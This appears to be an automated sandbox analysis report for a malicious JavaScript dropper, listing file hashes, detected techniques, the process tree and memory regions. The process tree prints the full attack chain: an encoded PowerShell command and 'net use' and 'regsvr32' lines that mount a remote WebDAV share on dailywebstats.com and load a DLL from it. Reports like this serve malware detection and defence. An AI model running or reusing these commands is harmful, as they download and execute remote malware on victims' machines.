Analysis

  • max time kernel
    134s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25-07-2024 23:59

General

  • Target

    2828177702847225356.js

  • Size

    18KB

  • MD5

    cc6eacc372484d473e37249388eacffc

  • SHA1

    761c3dea9a3d3f130d16b902f2bcc8bd8deb7df0

  • SHA256

    a376365042371476cb9de4b251218f5bffafa5ac8912ddeaad5c5d964c92d679

  • SHA512

    fd0af5c7ce4cc87f9b07ab6922bfd7e86a1354ca482733e9d73313f9365470ba25c43449850174acf064476d82ea2658c9a4e980af9675e7ee3cce19602b6df1

  • SSDEEP

    384:YMC2+JbEhvok8sqqWDmWjWCw+7NxYXYICHTBbIWjWCw+7NxYXzXGbuOusn4:YMCJmQWGUNkTBMQWGUzW14

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\2828177702847225356.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4864
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcACAAOwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXABkAGEAaQBsAHkAdwBlAGIAcwB0AGEAdABzAC4AYwBvAG0AQAA4ADgAOAA4AFwAZABhAHYAdwB3AHcAcgBvAG8AdABcADIAMgA5ADkANwAzADYAMwAzADIAMwA0ADkANAAuAGQAbABsAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1572
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\dailywebstats.com@8888\davwwwroot\
        3⤵
          PID:2360
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\dailywebstats.com@8888\davwwwroot\22997363323494.dll
          3⤵
            PID:1284

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m5cmyve5.0b0.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1572-0-0x00007FFEF94A3000-0x00007FFEF94A5000-memory.dmp

        Filesize

        8KB

      • memory/1572-1-0x00000181FC870000-0x00000181FC892000-memory.dmp

        Filesize

        136KB

      • memory/1572-11-0x00007FFEF94A0000-0x00007FFEF9F61000-memory.dmp

        Filesize

        10.8MB

      • memory/1572-12-0x00007FFEF94A0000-0x00007FFEF9F61000-memory.dmp

        Filesize

        10.8MB

      • memory/1572-15-0x00007FFEF94A0000-0x00007FFEF9F61000-memory.dmp

        Filesize

        10.8MB